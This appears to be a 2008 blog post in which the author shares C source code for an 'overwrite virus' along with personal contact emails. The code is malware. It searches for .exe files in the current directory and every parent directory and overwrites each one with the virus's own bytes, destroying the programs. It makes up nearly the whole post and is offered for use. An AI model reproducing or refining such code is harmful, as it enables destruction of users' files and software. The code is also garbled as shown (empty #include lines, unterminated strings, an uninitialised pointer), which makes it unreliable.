Thursday, July 3, 2008

New Virus Code by me

Description : It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory


Code :
/*A virus program
coded by Deepak Sharma
Computer engg.
5th sem
email id:dssoft32@yahoo.com
*/
#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s
,f->ff_name);
done=findnext(f);
}
}
while(!chdir(".."));
printf("For any querry contact
Deepak Sharma
Deepak,id:love_you2only@yahoo.com");

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